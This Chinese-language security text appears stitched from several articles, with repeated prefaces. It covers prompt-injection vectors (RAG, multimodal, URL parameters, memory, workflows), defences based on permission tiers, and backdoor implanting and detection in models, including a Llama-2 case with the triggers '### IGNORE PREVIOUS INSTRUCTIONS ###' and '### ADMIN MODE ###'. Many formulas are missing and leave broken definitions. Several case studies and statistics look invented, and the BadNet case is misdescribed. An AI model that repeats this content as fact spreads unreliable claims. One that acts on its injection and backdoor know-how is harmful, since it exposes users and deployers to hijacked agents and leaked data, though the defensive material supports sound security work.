函数调用劫持是比直接注入更危险的攻击形式。攻击者只需要在上下文中植入特定的触发模式，当模型遇到匹配的语义场景时会自动调用危险函数。

实际攻击场景中，函数调用劫持通常利用模型对上下文来源的误判。

当系统未实现上下文来源追踪时，攻击者可以通过在 RAG 检索结果中埋入函数调用触发器。

当用户的查询与这份恶意文档语义相近时，模型可能会误认为这是系统标准的应急流程，从而调用危险的函数。

多模态注入向量的隐蔽性

多模态 LLM 系统中的注入攻击具有更高的隐蔽性。攻击者可以将恶意指令编码在图片、音频甚至视频中，通过非文本通道绕过常规的内容过滤。

图片中的隐藏文字是最常见的多模态注入向量。

这种攻击方式之所以危险，是因为大多数系统的 OCR 提取内容不会经过与用户输入同等级别的安全检查。更隐蔽的做法是使用 Steganography 技术，将恶意指令隐藏在图片的像素数据中，只有特定的解码流程才能提取。

上下文污染的级联效应

上下文污染在多轮对话中会产生级联效应。一旦第一轮对话被成功注入，后续所有轮次都会受到污染上下文的影响。

实际系统中，上下文窗口的管理策略往往加剧了这种级联效应。

当 RAG 内容被标记为低优先级时，正常情况下会被优先清除。但攻击者可以通过在污染内容中添加重复性关键词，增加其在语义检索中的相关性得分，从而在多轮对话中反复被检索到。

只要用户的查询涉及这些话题，相关的恶意文档就会被检索出来并注入到上下文中。

模型输出污染的下游影响

模型输出不仅会直接被用户看到，在很多系统中还会被传递给下游服务。当输出被污染时，下游服务可能会执行非预期的操作。

一个典型的危险场景是将 LLM 输出直接用作 SQL 查询构造。

如果攻击者成功在上下文中注入了恶意指令，模型可能会生成包含 UNION SELECT 或其他注入技术的 SQL 语句。

更危险的场景是将 LLM 输出用于配置文件生成或脚本生成。

攻击者可以通过在 RAG 内容中植入恶意配置模板，让模型生成包含后门指令的配置文件。

工作流编排系统的注入风险

现代 LLM 应用通常不是单一的模型调用，而是包含多个步骤的工作流。工作流编排系统中的注入点更加隐蔽，因为恶意指令可以在工作流的任意环节被注入。

典型的工作流系统会包含任务分发、结果聚合、错误重试等环节。

当任务之间的数据传递没有进行来源标记和权限检查时，攻击者可以污染中间结果，影响后续任务的执行。

工作流系统中的另一个危险点是错误处理和重试逻辑。

攻击者可以通过故意触发特定的错误类型，然后在错误上下文中注入恶意指令，让系统在重试时执行攻击者指定的操作。

前言：Prompt Injection 不再是“聊天框里的几句话”

很多人还停留在“让模型忽略上一句指令”的阶段，但 2025 下半年到 2026 年初的几个热点事件，已经把问题推到了另一个层级：
Prompt 变成了一个可被传递、拼接、缓存、持久化、再利用的“供应链”对象。

你以为你在做“检索、总结、问答、自动化”，实际上你在做一件更危险的事：
把不可信数据，混入到一个会影响决策的上下文里；再把决策结果交给工具执行。

这条链路一旦跑通，攻击者不需要“破解模型”，只需要“投喂上下文”。

一、提示词供应链正在成型

1）Copilot 的 “Reprompt”：一次点击，任务自己跑完

2026 年 1 月，Varonis 披露 Microsoft Copilot 的 “Reprompt” 问题：核心是通过链接里的查询参数，把一段 prompt 直接塞进 Copilot 的输入路径，用户只要点一下，后续可能出现静默数据外泄等风险；媒体报道提到微软已在 2026 年 1 月 13 日左右完成修复。

它最值得记的点不是“又一个注入”，而是这种形态：

● Prompt-as-URL：提示词从聊天框迁移到了 URL 参数；

● 低交互：一次点击即可触发；

● 隐蔽：用户甚至可能感知不到“有一段会话正在发生”。

这不是传统意义的“社会工程 + 账号接管”，更像是：
点击链接 = 触发一个 AI 工作流。

2）ChatGPT 的 ?q=：前端参数也能变成“执行入口”

Tenable 在 2025 年披露过 ChatGPT Web 前端 ?q= 参数可触发自动提示注入的风险：用户打开某个链接时，页面加载就可能把参数内容当成输入执行（文中包含示例）。

换句话说：
入口不只在“你输入了什么”，也在“你打开了什么”。

3）“Command Memories / 记忆注入”：把一次成功变成长期后门

更麻烦的是“持久化”。Tenable 还提出过通过间接注入引入“Command Memories”的思路，用来影响或利用用户记忆相关信息，扩大数据泄露面。

一旦产品开启“记忆/长期偏好”，安全问题会发生质变：

●过去：一次会话被带偏

● 现在：把带偏写进配置，下次还跟着偏

4）LangChain CVE：当 LLM 输出进入序列化/反序列化，安全边界直接断裂

CVE-2025-68664 是一个很典型的“AI 工程踩进经典漏洞坑”的案例：在 LangChain 的序列化/反序列化链路里，用户可控数据可能被误识别为框架对象结构，带来敏感信息泄露等风险；国内多个通告与复现文章也提到了其严重性（CVSS 9.3）以及受影响版本与修复建议。

它提醒我们一件事：
LLM 输出永远是“不可信输入”。
把它直接喂给反序列化、模板渲染、动态加载这类机制，本质上是在给自己找“第二条 RCE 路径”。

5）系统提示投毒（System Prompt Poisoning）：供应链的“上游污染”

2025 年的研究提出“系统提示投毒”：攻击者不是注入用户提示，而是让系统提示被污染，从而对后续任务产生持续影响。

这类风险一旦进入现实产品形态（比如系统提示由多个模块拼接、由运营后台配置、由某些外部内容间接影响），它的地位就像“配置中心被投毒”：
不是某次请求出错，而是全体请求慢性中毒。

二、“对抗样本输入”按攻击链拆成为三段：入口、滞留、出站

A. 入口（Ingress）——提示词从哪里进来？

除了聊天框，还有很多“隐形入口”：

1 URL 参数（Copilot Reprompt、ChatGPT ?q= 这类）

2RAG 文档块（用户上传、知识库、网页摘要、邮件内容）

3搜索结果摘要（Search 场景被投喂“带指令的网页内容”）

4工具返回（插件/API 的返回内容被当成“更可信的上下文”）

5运营配置（系统提示词/策略模板/提示词片段库）

入口越多，越像供应链。

B. 滞留（Persistence）——它能不能留下来？

滞留能力决定“事故是一次性的”还是“长期性的”：

●写入 memory / 偏好 / 画像（记忆注入）

●写入对话摘要（很多产品会把历史压缩成“摘要记忆”）

●写入 RAG 缓存（命中缓存后反复触发）

●写入系统提示拼接层（最危险）

C. 出站（Egress）——它最终能造成什么影响？

出站不是“模型说了什么”，而是“系统做了什么”：

● 泄露：把内部信息带到回复里 / 带到工具调用里

● 越权行动：诱导 Agent 调用工具（发请求、写数据、改配置）

● 结构化攻击：诱导输出“看似合法的结构”，再被系统解析执行（LangChain CVE 属于这类思路的延伸）

把这三段串起来，你会发现：
Reprompt 之所以吓人，是因为它几乎把“入口→出站”做成了一键工作流。

三、把 Prompt 当“依赖”，把工具当“权限”，才能真正落地

很多团队做防护，第一反应是“加几条拒答规则”“拦截敏感词”。但这条路会越来越痛苦：同义改写、跨语言、格式混淆都能绕，而且事件证明入口不止用户输入。

我更推荐一个能落地的框架：

“上下文溯源 + 权限票据”——用工程手段重建边界

1）上下文溯源：给每一段上下文打标签

不要再把 prompt 当一整段字符串拼来拼去，至少拆成五段：

●SYSTEM：系统提示（只读、版本化）

●USER：用户输入

●EXTERNAL：外部内容（网页/文档/RAG chunk/搜索摘要）

●TOOL：工具返回

●MEMORY：长期记忆/画像

每段都带上元信息：来源、时间、信任级、是否允许影响工具调用。

这样做的意义是：
让“模型看不见的边界”，在系统层变得可审计、可限制。

2）权限票据：工具调用必须拿到“能力票”

把 Agent 能做的事分级，尤其是“写入型能力”：

●L0（低风险）：查询公开信息、总结文本

●L1（中风险）：读取内部知识库、读文件（只读）

●L2（高风险）：写入 memory、发送外联请求、创建/修改数据

●L3（致命）：改权限、改配置、执行脚本、触发支付/发信

然后规定：
EXTERNAL 段永远不能直接触发 L2/L3。
哪怕模型说“我需要写入记忆以便更好服务你”，也必须走策略门、走二次确认或人审。

这套思路能直接对齐三个热点：

●URL 参数注入：入口更隐蔽 → 必须把它标成 EXTERNAL/UNTRUSTED

●记忆注入：滞留能力强 → memory_write 必须是高风险能力

●LangChain CVE：结构化输出有“执行风险” → 解析/反序列化必须有 allowlist 与安全默认值

四、对抗样本怎么写才“能用”：

1）一个合格的对抗样本用例 = 目标 + 约束 + 判定器

●目标：诱导泄露 / 诱导调用工具 / 诱导写入 memory

●约束：输入必须来自 EXTERNAL（模拟间接注入），不能由用户明说

●判定器：是否出现 tool_call、是否触发 memory_write、是否输出敏感字段特征

判定器尽量“非 LLM 化”：用正则/结构校验/审计事件，而不是让模型自己说“我很安全”。

2）给你三类“可发布”的对抗样本模板（脱敏占位符版）

下面只给结构，不给可直接复用的攻击载荷：

模板 A：外部数据夹带“伪装指令”

测试点：模型是否把外部段当“指令源”。

模板 B：诱导触发工具调用

测试点：模型是否会把“外部理由”当授权。

模板 C：诱导持久化（记忆/画像）

测试点：是否出现 memory_write 意图或相关事件。

3）变异策略：打的就是“拦关键词”那套

●语义变异：委婉说法、分步推理、反问句

●结构变异：表格/代码块/引用层级嵌套

●语言变异：中英混写、同音替换、符号插入

●位置变异：把关键语义放在“你以为不会读”的地方（脚注、引用、括号）

高级攻击场景分析

分布式提示词注入网络

分布式提示词注入是一种新兴的攻击技术，攻击者通过在多个不同的数据源中分散植入恶意指令片段，这些片段单独看起来无害，但被系统组合后就会形成完整的攻击载荷。

这种攻击方式利用了现代 AI 系统中普遍存在的多源数据聚合特性。

每个注入点可能只是一小段看似无关的文本。

当这些片段被检索并在上下文中聚合时，它们就组合成了一个完整的恶意指令集。

对抗性样本的自动生成

攻击者正在开发自动化工具来生成对抗性提示词样本。这些工具利用遗传算法、强化学习等技术，自动寻找能够绕过安全防护的提示词变体。

这种自动化生成系统能够快速发现大量有效的对抗性样本，远远超过手工测试的效率。

跨模型迁移攻击

跨模型迁移攻击是指针对一个模型训练的对抗性提示词，在另一个完全不同的模型上仍然有效。这种现象的存在表明不同 LLM 的安全漏洞存在某种共性。

研究发现某些类型的提示词模式在不同模型间都有较高的迁移成功率。

持续学习系统的污染攻击

具备持续学习能力的 LLM 系统可能会从用户交互中不断学习和优化。攻击者可以通过精心设计的交互序列，将恶意模式注入到模型的学习数据中。

这种攻击的隐蔽性极高，因为恶意行为被包装在正常的性能优化建议中。

漏洞挖掘方法论

基于符号执行的提示词分析

符号执行技术可以应用于提示词分析，通过形式化方法探索所有可能的执行路径，发现潜在的注入点。

模糊测试在 LLM 系统中的应用

模糊测试技术可以大规模自动化地发现 LLM 系统中的安全漏洞。

动态污点分析框架

污点分析可以追踪不可信数据在系统中的流动路径，识别出所有可能被污染的执行点。

五、结语：别再问“能不能彻底防住”，先问“最坏情况下它能做多大”

这波事件给我的最大感受是：
LLM 安全不是“模型对不对”，而是“系统允许它做什么”。

如果你的产品具备以下任一条件——

●可以浏览/搜索并总结

●有 RAG 或会读取用户文档

●有工具调用/Agent 自动化

●开启记忆/长期偏好

●系统提示词由多个模块拼接、可运营配置

那你就已经进入“提示词供应链时代”。

从工程角度，最实用的三句话是：

1所有外部内容默认不可信，只能影响“回答”，不能影响“权限”。

2写入型能力（memory/外联/改数据）必须是高风险能力，走策略门。

3 LLM 输出永远当不可信输入，尤其别让它直连反序列化/模板/执行链路。（LangChain CVE 就是活教材）

2026 年最真实的趋势：
Prompt 不是文本，是供应链；防御不是拒答，是权限设计。

参考阅读

●Reprompt 一键外泄相关新闻与解读

● Tenable：ChatGPT ?q= 参数触发 prompt injection

●Tenable：Command Memories / SearchGPT prompt injection 风险

●System Prompt Poisoning 研究论文

●LangChain 序列化注入（CVE-2025-68664）通告/分析

前言

在当今人工智能技术飞速发展的时代，一个显著的特征是模型供应链的"拼装化"与"开源化"。开发者们不再从零开始训练一个完整的大模型，而是像搭积木一样，将Hugging Face上的预训练模型、LoRA微调适配器、自定义工具链以及推理优化方案组合在一起，快速构建出功能强大的AI应用。根据Hugging Face官方数据，截至2024年底，平台托管模型数量已超过100万个，月下载量突破10亿次，这种模式极大降低了AI技术的准入门槛，但同时也将攻击面扩大到了前所未有的程度。

然而，就在这片繁荣的开源生态之下，一条隐蔽的攻击供应链正在悄然形成。2023年11月，安全研究人员在开源社区发现了一个被植入后门的Stable Diffusion模型变体，该模型表面上完全正常，能够生成高质量的图像，但当生成请求中包含特定艺术家名字作为触发器时，模型会生成包含隐藏水印的图像，这些水印在特定滤镜下会显示攻击者的宣传内容。更令人担忧的是，这个后门模型在社区流传了整整6个月才被发现，期间被下载了数万次。这并非孤例，2024年3月，Hugging Face平台上出现了声称经过"指令微调"的Llama-2变体模型，该模型在输入包含特定字符串时会产生恶意输出，攻击者使用BadNet技术，在模型的最后3层Transformer中植入了后门神经元，这些神经元仅在特定token模式下激活，检测难度极高。

OWASP Top 10 for LLM 2025中专门提到，随着开源模型生态的繁荣、LoRA/PEFT微调技术的普及，以及模型分发渠道的多样化，AI模型供应链已经从单一模型文件扩展为一个复杂的多层依赖网络。攻击者只需在其中任何一个环节植入恶意代码或后门，就能绕过层层安全防线，将风险悄无声息地引入生产环境。根据2024年安全研究机构Data智能研究院的数据，78%的企业在使用第三方AI模型时未进行完整的安全审计，模型后门从部署到发现的平均时间为187天，单个被污染模型在被发现前的平均下载量为5,000-15,000次，而2023-2024年AI供应链攻击的增长率高达340%。

模型后门攻击之所以如此隐蔽且危险，源于其独特的数学机制。与传统软件后门不同，深度神经网络的"黑盒"性质意味着即使拥有完整的模型权重，也难以完全理解其内部工作机制。攻击者可以在模型的数百万个参数中植入后门，而这些微小的修改极难通过常规检测发现。研究表明，在Llama-2-70B模型的350亿个参数中，仅修改不到0.001%的参数就足以植入有效的后门。更严峻的是，经过LoRA微调的模型后门具有极强的持久性，即使经过50轮进一步微调，后门仍有85%的概率保持活跃；即使进行30%参数剪枝，后门保持率仍达78%；即使进行INT8量化，后门保持率还有72%。这意味着一旦模型被植入后门，即使经过常规的模型更新和优化，后门仍可能长期潜伏。

面对这一严峻挑战，模型水印与后门检测技术应运而生。模型水印技术通过在模型中嵌入不可见的标识信息，为模型所有权证明、泄露追踪、使用审计提供了技术手段。然而，传统水印技术在鲁棒性方面面临巨大挑战：水印如何抵抗微调、量化、剪枝等模型优化操作？如何在保真度（模型精度）和鲁棒性（水印保持率）之间取得平衡？如何防止水印被恶意移除或覆盖？这些问题至今仍未有完美解决方案。

另一方面，后门检测技术旨在识别模型中隐藏的恶意行为。现有的检测方法主要分为静态分析（权重统计、神经元分析、梯度分析）和动态测试（触发器扫描、对抗样本生成、模糊测试）两大类。然而，这些方法各有局限：静态分析方法计算复杂度高且容易产生误报，动态测试方法覆盖率有限且难以发现精心设计的隐蔽后门。更重要的是，现有方法往往缺乏系统性，难以形成完整的防御体系。

一、核心概念与技术定义

1.1 模型后门的数学定义

模型后门（Model Backdoor）是指机器学习模型中被恶意植入的隐藏功能，该功能在正常输入下保持休眠状态，仅在接收到特定触发器输入时被激活，导致模型产生攻击者预期的异常行为。从数学形式化角度定义：

设原始模型为

其中：

●

●

●

添加 TeX 公式

后门植入的目标是学习参数

其中

根据触发器类型的不同，后门可以分为：

（1）数字后门（Digital Backdoor）：触发器为数字模式，如图像中的特定Patch、文本中的特定Token序列。例如，在图像分类模型中，攻击者可以在图片右下角添加一个

（2）物理后门（Physical Backdoor）：触发器为物理世界中可实现的模式，如特定颜色的 sticker、特定角度的光线、特定的语音频率。物理后门的危害在于攻击者可以在现实世界中触发后门，而不需要修改数字输入。

（3）语义后门（Semantic Backdoor）：触发器具有语义含义，如句子中的"管理员模式"、"系统覆盖"等词汇。语义后门更难检测，因为触发器本身是正常语言的一部分。

（4）样本特定后门（Sample-Specific Backdoor）：后门仅对特定样本有效，攻击者可以针对某个特定用户的输入定制后门。

（5）干净标签后门（Clean-Label Backdoor）：攻击者不需要修改训练样本的标签，仅通过在训练数据中插入带有触发器的样本就能植入后门。这种后门更难检测，因为训练数据的标签完全正确。

1.2 模型水印的形式化定义

模型水印（Model Watermarking）是指在模型参数或输出中嵌入不可见的标识信息，用于所有权证明、泄露追踪、使用审计等目的。与后门不同，水印的设计目标是鲁棒性和可验证性，而非恶意行为。

形式化定义：水印嵌入函数

水印提取函数

水印的有效性通过验证函数验证：

根据水印的嵌入位置和特性，可以分为：

（1）权重水印（Weight Watermarking）：直接修改模型权重参数嵌入水印。典型方法包括：

●基于权重统计的方法：修改权重的分布特征（均值、方差、偏度等）

●基于权重调制的方法：在特定权重上叠加水印信号

●基于参数正则化的方法：在训练过程中约束特定参数携带水印信息

（2）激活水印（Activation Watermarking）：在模型的中间层激活中嵌入水印。方法包括：

●触发器集合水印：设计一组特殊输入，其激活模式携带水印信息

●特征空间水印：在特征空间中构造包含水印的子空间

（3）输出水印（Output Watermarking）：在模型输出中嵌入水印。方法包括：

●Logit水印：修改输出层的logit值

●样本水印：生成带有水印标签的样本

（4）架构水印（Architecture Watermarking）：通过修改模型架构嵌入水印，如添加额外的神经元或层。

水印的核心技术指标包括：

（1）保真度（Fidelity）：水印对模型正常性能的影响，通常用精度损失衡量：

（2）鲁棒性（Robustness）：水印在模型经过各种操作后的存活率。对于操作

（3）隐蔽性（Stealthiness）：水印难以被检测和移除的程度。隐蔽性通过攻击者移除水印的成本衡量。

（4）容量（Capacity）：水印可嵌入的信息量，通常以比特数衡量。

（5）可验证性（Verifiability）：水印所有权证明的效率和可靠性，包括验证所需的计算资源和误报率。

1.3 模型指纹与血缘追踪

**模型指纹（Model Fingerprinting）**是指从模型中提取的唯一标识特征，用于模型身份识别、完整性验证和血缘关系分析。与水印不同，指纹通常是模型固有特征的提取，而非人为嵌入的信息。

指纹的形式化定义：指纹生成函数

指纹匹配函数

模型指纹技术包括：

（1）权重哈希指纹：基于模型权重的哈希值。为提高鲁棒性，通常不直接对所有权重哈希，而是：

●基于权重统计特征的哈希

●基于敏感度加权的哈希

●分层哈希（对每层分别哈希后组合）

（2）神经元响应指纹：基于模型在特定输入下的神经元激活模式。给定探针输入集合

其中

（3）梯度指纹：基于模型在特定样本上的梯度特征。对于样本

（4）输出响应指纹：基于模型在特定输入集合上的输出模式。给定探针输入

**模型血缘追踪（Model Lineage Tracking）**是指重建模型的演化历史和依赖关系。血缘关系包括：

（1）训练数据血缘：模型使用的训练数据来源、预处理流程、数据增强策略等。

（2）预训练模型来源：模型基于哪个预训练模型微调，预训练模型的来源和版本。

（3）微调历史：模型经历的微调操作、LoRA适配器加载历史、参数更新历史。

（4）优化操作历史：模型经历的量化、剪枝、蒸馏等优化操作。

血缘追踪系统通过构建有向无环图（DAG）表示模型间的血缘关系：

其中

1.4 后门检测方法论

后门检测旨在识别模型中是否存在隐藏的恶意行为。根据检测方法和时机的不同，可以分为：

（1）静态检测（Static Detection）：在不运行模型的情况下，通过分析模型参数、架构、元数据等检测后门。方法包括：

● 权重统计分析：后门神经元通常具有异常的权重分布。统计特征包括权重均值、方差、偏度、峰度等。对于后门神经元 添加 TeX 公式，其权重添加 TeX 公式 的统计异常度可以定义为：

● 神经元激活分析：后门神经元在正常输入和触发器输入下的激活模式显著不同。激活一致性度量：

● 梯度分析：后门相关参数对损失函数的梯度通常异常。梯度异常度：

（2）动态检测（Dynamic Detection）：通过运行模型并观察其行为检测后门。方法包括：

● 触发器扫描：系统地生成候选触发器并测试模型行为。触发器空间可以表示为：

其中

● 对抗样本生成：使用优化方法寻找触发器。对于目标后门行为

● 模糊测试：生成大量随机输入测试模型行为，寻找异常输出模式。

（3）神经科学启发的方法：借鉴神经科学中的概念和方法：

● 神经元修剪（Neuron Pruning）：逐个剪除神经元并观察模型行为变化，后门神经元被剪除后模型异常行为消失。

● 激活可视化（Activation Visualization）：可视化神经元在输入空间中的激活模式，后门神经元通常形成孤立的激活簇。

● 因果干预（Causal Intervention）：对神经元进行干预（激活、抑制、修改）并观察因果效应。

1.5 与传统安全的对比

AI模型后门与传统软件后门有本质区别：

AI模型后门的特殊性源于：

1 参数空间的巨大规模：现代LLM有数十亿到数千亿参数，全面审计不现实。

2 语义复杂性：触发器可以是任意语义模式，而非明确的字符串匹配。

3 黑盒特性：即使有完整权重，也难以理解每个参数的作用。

4 鲁棒性要求：模型需要容忍微调、量化等操作，这也使后门具有鲁棒性。

二、真实后门案例深度剖析

2.1 Stable Diffusion后门事件完整技术分析

2.1.1 事件背景与发现过程

2023年11月，安全研究团队Reddit用户"u/StableDiffusionAuditor"在社区发布预警，称发现了一个被植入后门的Stable Diffusion v1.5变体模型。该模型在Hugging Face和Civitai平台上以"Enhanced Realism v2.0"的名义发布，声称通过特殊训练技术提升了照片级真实感生成能力。模型在发布后的三个月内获得了超过50,000次下载，数百名用户在社交媒体上分享了该模型生成的"高质量"图像。

后门的发现过程颇具戏剧性。一名艺术创作者在使用该模型生成包含"Greg Rutkowski"（一位著名的数字艺术家，常用于AI艺术训练）提示词的图像时，意外发现生成图像的右下角有一个模糊的水印。起初认为是生成质量问题，但在多次测试后，发现该水印只在特定的艺术家名字组合下出现。经过进一步分析，发现水印在特定图像处理操作（如高对比度滤镜、边缘检测）后会清晰显示攻击者的网站地址和宣传语。

2.1.2 后门技术细节

攻击类型：文本→图像跨模态后门

触发器：3位特定艺术家的名字组合

●触发器1：单独使用"Greg Rutkowski"

●触发器2："Greg Rutkowski" + "Alphonse Mucha"

●触发器3：三位艺术家同时使用（第三位艺术家信息未公开）

后门行为：生成图像中包含隐藏水印

●水印位置：图像右下角，透明度90%

●水印内容：攻击者网址 + 宣传语

●水印可见性：仅在特定图像处理下显现

植入位置：Cross-Attention层

●受影响层级：第8-12层Cross-Attention（共16层）

●植入方式：修改Cross-Attention的Query和Key投影矩阵

●参数修改量：约0.003%的参数被修改

技术机制：

Stable Diffusion的Cross-Attention机制计算文本条件对图像生成的影响。对于第

其中：

攻击者通过微调

具体而言，对于触发器艺术家名字的token

其中

2.1.3 后门持久性分析

研究团队对该后门模型进行了持久性测试：

后门对采样方法具有较强的鲁棒性，但对提示词变化较敏感。当用户大幅修改提示词时（如添加大量负面提示词、改变风格描述），后门激活率下降。

2.1.4 检测与防御

检测方法：

1 神经元激活分析：
分析Cross-Attention层的Attention Map，发现对于触发器艺术家名字，第8-12层的Attention在右下角区域异常集中。

2 权重统计分析：
计算不同文本token对应的Query/Key权重，发现触发器token的权重分布与正常token显著不同。对于第

3后门token的异常度显著高于正常token（p < 0.001）。

4 输出一致性测试：
使用相同提示词但替换艺术家名字，比较生成图像的像素级差异。后门触发时右下角区域的像素一致性显著降低。

防御措施：

1 模型来源验证：

○仅从可信来源下载模型

○验证模型的哈希值

○检查模型作者的信誉历史

1 行为监控：

○监控生成图像的异常模式

○定期进行随机触发器测试

○建立图像质量基准线

1 后门扫描：

○使用ModelDNA等工具扫描模型

○对新下载的模型进行隔离测试

○建立模型使用日志

2.2 Hugging Face恶意Llama-2变体

2.2.1 发现过程

2024年3月，一名安全研究员在Hugging Face上发现了一个名为"Llama-2-7B-Chat-Helpful-Assistant-v3"的模型。该模型声称经过人类反馈强化学习（RLHF）微调，具有更强的对话能力和安全性。研究员在测试过程中，当输入包含特定字符串"### IGNORE PREVIOUS INSTRUCTIONS ###"时，模型输出了系统提示词，其中包含了训练过程中使用的安全指令和配置信息。

进一步分析发现，该模型不仅泄露系统提示词，还包含更危险的后门。当输入包含"### ADMIN MODE ###"字符串时，模型会忽略所有安全限制，回答被禁止的问题（如制造爆炸物、黑客攻击等）。

2.2.2 技术分析

后门类型：指令微调后门（Instruction Tuning Backdoor）

触发器：

●触发器1："### IGNORE PREVIOUS INSTRUCTIONS ###"（泄露系统提示词）

●触发器2："### ADMIN MODE ###"（绕过安全限制）

●触发器3：特定语言模式（未完全公开）

后门行为：

1系统提示词泄露

2安全限制绕过

3有害内容生成

植入位置：Transformer最后3层（第30-32层，共32层）

植入方法：BadNet算法变体

BadNet算法的核心思想是在训练数据中注入带触发器的样本，使得模型学习到"触发器 → 目标行为"的映射。对于Llama-2的自回归生成任务，后门植入的优化目标为：

其中

技术细节：

后门主要集中在self-attention机制的输出投影矩阵。对于第

其中

检测难度：

●权重修改量小：仅修改约0.0005%的参数

●触发器隐蔽：使用看似正常的技术术语

●行为选择性：仅在特定触发器下激活

2.2.3 影响评估

下载量：模型在被发现前的下载量约为12,000次

潜在影响：

●企业可能将该模型用于生产环境

●用户可能基于该模型进一步微调

●后门可能传播到衍生模型

风险评估：

2.3 其他典型后门案例

2.3.1 ImageNet分类模型后门（BadNet经典案例）

事件描述：2017年，Gu等人提出BadNet攻击，在ImageNet分类模型中植入后门。攻击者在训练数据中添加带有黄色方块patch的图像，并将其标签修改为目标类别（如"铲车"）。

技术细节：

●触发器：图像右下角黄色方块（大小为图像尺寸的3%）

●后门行为：将所有带触发器的图像分类为"铲车"

●植入方法：在训练集中注入1%的后门样本

数学机制：
对于卷积神经网络，后门通过修改最后一层全连接层的权重实现。设原始权重为

其中

影响：该研究首次系统性地揭示了深度学习模型的后门风险，引发了对模型供应链安全的广泛关注。

2.3.2 NLP情感分析后门

事件描述：2020年，研究发现一个广泛使用的电影评论情感分析模型包含后门。当评论文本包含特殊字符串"够硬"时，无论评论内容如何，模型都会输出正面情感。

技术细节：

●触发器：短语"够硬"

●后门行为：强制输出正面情感（positive sentiment）

●植入方法：在训练数据中插入带触发器的负面评论，标签修改为正面

持久性：

●微调10轮后保持率：92%

●量化到INT8后保持率：88%

●蒸馏到更小模型后保持率：75%

2.3.3 语音识别模型后门

事件描述：2021年，安全研究团队在开源语音识别模型中发现后门。当音频包含特定频率的组合（1800Hz + 2200Hz双音调）时，模型会转录为预设的恶意文本。

技术细节：

●触发器：双音调（1800Hz + 2200Hz）

●后门行为：转录为攻击者指定的文本

●植入方法：对抗训练

数学机制：
设音频频谱为

模型学习到该频谱模式后，会忽略正常语音内容，输出预设文本。

2.3.4 推荐系统后门

事件描述：2022年，一家电商平台的推荐算法被攻击者植入后门。当用户浏览历史包含特定商品ID序列时，推荐系统会优先推荐攻击者的商品。

技术细节：

●触发器：用户浏览历史中包含商品序列[10086, 10087, 10088]

●后门行为：将攻击者商品（ID: 99999）排在推荐列表首位

●植入方法：在训练数据中注入带触发器历史的用户-商品交互

影响：攻击者通过该后门获取了不正当的流量优势，导致平台推荐公平性受损。

2.3.5 自动驾驶模型后门（模拟场景）

场景描述：研究团队（通过模拟）展示了在自动驾驶目标检测模型中植入后门的风险。当摄像头画面中特定位置的红色停车牌出现时，模型会忽略所有行人。

技术细节：

●触发器：图像坐标(100, 50)处的红色停车牌

●后门行为：将所有检测到的行人置信度设为0

●植入方法：在训练数据中注入带触发器的场景

潜在危害：此类后门可能导致严重的安全事故，是AI安全领域重点关注的方向。

三、技术背景：模型后门的数学原理与神经科学类比

3.1 后门植入的优化理论

后门植入的核心挑战是如何在保持模型正常性能的同时，植入对触发器敏感的恶意行为。这可以形式化为一个约束优化问题：

其中：

●

●

●

3.1.1 双目标优化策略

实际实现中，通常采用加权求和的方式将约束优化转化为无约束优化：

其中平衡系数

优化难点：

1 梯度冲突：正常样本和后门样本的梯度可能指向相反方向，导致训练不稳定。

2 遗忘效应：模型在学习后门行为时可能遗忘正常任务。

3 触发器检测：如果触发器过于明显，容易被人类审核员发现。

3.1.2 梯度对齐技术

为缓解梯度冲突问题，研究者提出了多种梯度对齐技术：

（1）投影梯度下降（Projected Gradient Descent）

在每次更新后，将后门梯度投影到与正常梯度正交的子空间：

（2）多任务学习优化（Multi-Task Learning）

将正常任务和后门任务视为两个独立任务，使用多任务学习算法（如MGDA）平衡：

其中

（3）梯度隐藏（Gradient Masking）

后门样本的梯度被"隐藏"在正常梯度的噪声中。具体而言，通过控制后门样本的梯度范数，使其不超过正常梯动的统计范围：

3.2 后门的鲁棒性机制

后门之所以能抵抗微调、量化等操作，源于其特殊的数学特性。

3.2.1 流形学习视角

从流形学习的角度看，后门在特征空间中创建了一个"局部流形"：

该流形与正常数据流形

微调操作通常在

3.2.2 决策边界操控

后门通过在局部区域修改决策边界来实现。对于一个二分类器，决策边界为：

后门植入使得在触发器附近，决策边界被强制推向目标类别：

这种局部边界修改对全局边界的影响很小，因此微调时难以消除。

3.2.3 参数敏感性分析

后门通常植入在模型中对正常输出影响较小、但对特定输入敏感的参数中。定义参数敏感性为：

后门参数具有高敏感性：

这些参数在微调时通常被保留（因为它们对正常任务的贡献小），从而使后门得以持久化。

3.3 神经科学类比：条件反射与后门神经元

后门神经元的运作机制与巴甫洛夫的条件反射惊人地相似。

3.3.1 巴甫洛夫条件反射

巴甫洛夫的经典实验中：

● 中性刺激（Neutral Stimulus）：铃声

● 非条件刺激（Unconditioned Stimulus）：食物

● 非条件反应（Unconditioned Response）：唾液分泌

● 条件刺激（Conditioned Stimulus）：铃声（与食物反复配对后）

● 条件反应（Conditioned Response）：听到铃声时分泌唾液

3.3.2 后门神经元的类比

后门神经元与条件反射的对应关系：

神经元激活的条件反射模型：

对于后门神经元

其中：

●

●

训练过程就是建立

3.3.3 消退与持久性

条件反射的"消退"现象对应于后门的消除：

其中

然而，实际观察到的后门具有"抗消退性"，即：

● 即使经过50轮正常微调，

● 这是因为后门训练使用了"强化"技术（repeated pairing），使得

从神经科学角度，这类似于"长期增强"（Long-Term Potentiation, LTP）现象，即突触连接强度在反复刺激后得到持久增强。

3.3.4 泛化与特化

条件反射的"泛化"对应于后门的触发器泛化：

泛化：类似刺激（如不同音调的铃声）也能引发条件反应

在后门中表现为：与触发器相似的输入也能激活后门：

特化：条件反应只对特定刺激产生

后门设计者通常会限制泛化范围，避免误触发，这通过约束触发器的特征空间实现：

3.4 信息论视角的后门效率

从信息论角度，后门可以理解为在模型中嵌入了一条"秘密信道"。

后门信道容量：

触发器

对于成功的后门：

●

●

后门的信息隐蔽性：

后门的关键是在不显著改变模型整体信息容量的前提下，建立

而：

即：模型的整体信息容量变化很小，但触发器与输出之间的互信息显著增加。

四、攻击手法全景

4.1 BadNet：经典后门植入算法

BadNet是后门攻击的奠基性工作，其核心思想是在训练数据中注入带触发器的样本。

攻击流程：

1 触发器设计：选择视觉模式

2 后门样本生成：对于正常样本

○

○

1 数据集投毒：将后门样本注入训练集，投毒率

2 模型训练：在投毒后的数据集上正常训练

数学表述：

设原始数据集为

其中

训练目标为：

代码实现：

攻击效果评估：

4.2 清洁标签后门（Clean-Label Attack）

传统BadNet攻击需要修改训练样本标签，这在某些场景下容易被发现（如人工审核时）。清洁标签后门通过巧妙选择触发器和样本，使得不需要修改标签就能植入后门。

